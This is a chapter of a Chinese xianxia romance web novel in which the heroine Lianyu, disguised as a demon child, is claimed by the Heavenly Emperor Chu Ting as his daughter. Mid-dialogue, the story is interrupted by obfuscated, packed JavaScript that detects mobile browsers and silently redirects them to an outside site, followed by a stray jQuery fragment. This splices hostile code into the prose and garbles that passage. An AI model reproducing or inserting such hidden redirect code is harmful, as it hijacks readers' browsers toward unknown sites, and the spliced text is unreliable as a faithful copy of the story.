身后崇明和褚庭两个人只顾着斗嘴,还没注意到她,莲玉偷偷扯了扯阿清的袖子,夹着嗓子哼了一句:“哥哥,我不买了,咱们走吧。”
阿清俨然还没反应过来,愣愣反问道:“师、妹妹,你不买啦?”
莲玉扯了一个比哭还难看的笑:“这些不是给小孩子看的,我怎么看得懂呢?”
阿清皱起眉:“刚才不是你要买吗?”
求求你了,别问了!
莲玉恨不得当场哭出来,她只求别被身后那两尊大佛注意到,能让她安心离开大荒鬼市。
可偏偏不如她的意。
“老东西,这小孩真逗。”崇明戳了戳莲玉头顶的两个发髻,却被褚庭一扇子敲在手臂上:“嘶,老东西你敲我作甚?”
褚庭看着莲玉,嘴角扬起一抹若有若无的笑,缓缓道:“聒噪。”
扇子一转,直指莲玉眉心,明明没有任何灵力,却让莲玉感觉到如山崩之势的杀气。
“既然这小丫头想要,你就送人家几本啊。”
“行啊。”崇明答应的干脆,指着摊子:“小妹妹,你喜欢什么你就拿吧。”
莲玉眨了眨眼睛,乖巧地说:“多谢二位郎君。”
送她行,不送她也行,让她替他俩付钱都行。
求求了,让她走吧!
更糟的是,球球看莲玉鬓边的海棠正艳,飞到她肩头,张口叼了一朵下来。
“球球,怎可捉弄人?”褚庭板起脸训了一句,球球缩着脖子飞回崇明身边,收到了崇明幸灾乐祸的笑。
不等莲玉松一口气,褚庭转头又对她说:“小姑娘,我家灵兽头一回出门,性情顽劣了些,是我疏于管教,不如我送你些别的,以示歉意?”
莲玉被他那副装模作样的嘴脸吓得后退一步,后脑勺撞上话本摊的桌子,但她顾不得痛不痛,艰难吞了口唾沫:“多、多谢郎君,不麻烦了。”
说着,莲玉就要拉起阿清离开,那把扇子轻飘飘往她身前一拦,不费任何力气就叫她不敢向前半步。
“好吧。”莲玉仰头看向他:“那就多谢郎君了,可我爹娘还在外面等着,不好让他们等太久,能让我哥哥先去知会他们一声吗?”
褚庭的眼神从阿清身上掠过,像是在思考,莲玉的心也随之提了起来,高高悬起。
褚庭沉声道:“你哥哥年岁也不大,一个人在大荒鬼市上行走不安全,不如你告诉我你爹娘在哪?”
说话间,男人忽然俯下身,莲玉还想后退,却退无可退。
她强忍着牙关的颤抖,笑着说:“不碍事,咱们也耽误不了多长功夫,我爹娘应不会着急的。”
此后褚庭倒再没说什么,带着一行人走到一首饰摊子上让莲玉挑一件喜欢的,莲玉未曾细看,随手拿了一个。
“就这个吧,多谢郎君。”
“好。”
簪子被他从莲玉手中拿走,再递回给莲玉时,却变成了一个顶上长着两颗小桃子的木簪。
她一时没反应过来,接过木簪,看都不看就握在手心里:“多谢郎君。”
说完,见他没再作什么幺蛾子,莲玉扯着阿清的袖子,准备溜走。
刚出大荒鬼市,面具还没来得及揭下,怀中的木簪忽而灵光大现,刺得莲玉眼睛都睁不开。
这又是什么鬼!
莲玉从怀里取出簪子,被她握到掌心后,簪子即刻恢复成普通模样,仿佛方才闹的只是她看错了。
心觉不妙,莲玉抓起阿清的手,催促道:“快走,有麻烦了。”
脚还黏在地上,阴魂不散的声音又传来了。
“留步。”
崇明也纳闷,褚庭吃错了什么药,跟个小丫头片子过不去,就是个普通的小妖怪,有什么稀奇的?
莲玉佯装镇定,看向男人:“郎君还有何事?”
褚庭指了指她怀里的簪子,感慨道:“天意啊,此物设有阵法,只待有缘人。”
霎时间,手里的簪子烫到几乎握不住,莲玉勉力笑着问:“哦,这么巧,不知是何阵法?”
褚庭未直接回答她的问题,反而走到她身旁,拧起眉若有所思道:“你叫什么名字,你爹娘呢?”
莲玉吞吞吐吐:“我……我叫小花,或许我爹娘……先走了。”
崇明忿忿不平:“你二人小小年纪,怎么摊上了这等父母?”
这关你什么事啊!
莲玉努力弯着嘴角:“多谢郎君关照,我们妖族都是这样养孩子的。”
“实则不然。”褚庭来了这么一句高深莫测,让人搞不清所以然的话,众人纷纷向他看去。
他负手而立:“实乃你二人父母并不是亲生父母,所以对孩子并不上心。”
莲玉顺着他的话接了一句:“郎君所言有理,但养恩生恩孰上孰下、孰高孰低,岂是我一黄口小儿能定论的?”
崇明朝她点点头:“年纪不大,懂得到不少,还有你老东西,你……”
“非也。”褚庭打断他的话,接着莲玉的话继续说:“并非生而不养,乃是上天捉弄。”
接下来褚庭的一番话,让崇明在之后的几千年里迟迟难以忘怀。每每想起,他都会掐一掐自己的大腿,告诉自己三界内无人能附身在天帝身上,此番话只能是褚庭说的。
“三百年前,我与一妖族女子暗生情愫,却遭奸人陷害,以至于阴阳两隔,时至今日我才知晓,原来我还有骨肉流落世间。”
“什、什么?”
莲玉差点儿整个人裂开,千年不见,褚庭病的更重了!
褚庭倏尔望向她,幽邃的眼底竟真让她看出了一丝深情与不舍。
“孩儿,跟爹回去,如今再也没人能欺负你了。”
莲玉浑身打颤,一边后退一边拒绝:“郎君,我是妖族,正正经经的妖族,您定是弄错了,我爹娘都是妖族!”
她拼命拉开的距离,褚庭两步就赶上了。
“妖族又如何?何人敢置喙?”
莲玉忙摆手:“郎君,您真的弄错了!”
不管她怎么解释,褚庭都不松口,更令人无奈的是,她的面具被扇子打掉了。
莲玉下意识抬起双手,想捂住脸,惊悟自己如今是个五六岁的孩子,还是个胖乎乎的孩子。
褚庭认得出她才有鬼呢!
小孩子,哭一哭很正常的吧!
只见莲玉扁起嘴,眼眶立马兜住一包泪:“我要回家,我要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914152|171667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爹娘,呜!”
崇明心生恻隐,低声劝道:“老东西,差不多行了,还是个孩子,你跟她计较什么?”
褚庭横了他一眼,崇明心底发怵,后撤一步。
“我方才的话已经说得很清楚了,旁的无需多言。”
莲玉的号啕大哭引来了周围不少人的注意,可这群人不仅搞不清楚状况,反而火上浇油。
“这位郎君,孩子还小,凶她做什么?”
“对哦,郎君你闺女可爱的紧,怎么舍得凶她呢?”
莲玉哭得抽抽嗒嗒:“我不是他女儿,我要找我爹娘。”
“啧!”挎着菜篮子的大娘轻轻拍了莲玉后背一巴掌:“这孩子怎么说话呢,爹娘不给你买东西,你就敢不认爹娘?”
眼见事情闹成了一锅浆糊,莲玉挤都挤不出泪了,眼巴巴望向褚庭,男人眼里写满了成竹在胸。
她今天算是栽了!
莲玉只好收回眼泪,转向阿清:“哥哥,你先回去吧。”说完又看了一眼褚庭:“郎君,让我哥哥先回去可好?”
男人摇着扇子,不紧不慢点头答应:“自然。”
到现在阿清终于反应过来了,扯着莲玉的袖子:“妹妹,你不走吗?”
莲玉悄悄捏了捏他的手:“你先回去,跟……跟娘说一声,郎君或许是爱子心切,弄清楚之后就会送我回来的。”
阿清将信将疑地点点头,临走前还不忘站在云端,挥手跟褚庭交代:“郎君记得早些送我妹妹回来。”
褚庭颔首道:“自然。”
此去九重天,一路上崇明一言不发,但两颗眼珠子恨不得黏在莲玉身上,眼神若是刀子,已经将莲玉浑身上下剐干净了,期间好几次吞吞吐吐欲言又止,都被褚庭凶戾的目光给堵了回去。
唉,莲玉默默替自己揪心。
但她这次猜错了,褚庭将她扔到九重天后人就消失了,一连几日,莲玉见到的都是红豆。
红豆是见过莲玉的,而且印象格外深刻,冷不丁瞧见一个胖乎乎的小丫头,跟莲玉长得有七成像,可为什么是妖呢?
小妖怪年纪轻,尚不懂得遮掩自身气息。红豆恍惚间以为自己发觉了什么天家秘辛,连着几天都睡不安稳,生怕被陛下灭口。
但奇怪的是,褚庭自打带回小丫头的第一日叮嘱她好生照顾后,接下来的日子再未露面。
这一日,红豆照例带着一大群仙姬仙侍来伺候莲玉用膳。
又没见到褚庭的人影,莲玉紧紧握着拳头,褚庭能耐着性子磨她的脾气,她这个没出息的自己坐不住了。
莲玉抿抿嘴,对红豆小声嘟哝:“姐姐,我能见见那位郎君吗?他定是弄错了,我若是再不回去,我爹娘肯定要着急的。”
红豆神情不怎么自然,想了想,没有当即回她,反而塞给她一盘子点心:“小殿下,您先吃,若是不喜欢,我再让膳房的人给你做些新花样。”
小殿下?
“不,唔!”莲玉方想反驳红豆的称呼,就被红豆一块糕点堵住嘴。
“小殿下,快尝尝喜不喜欢。”
红豆自然不会替她传话,而在莲玉被关在弥罗宫的这些日子里,九重天乃至妖界都快炸开锅了。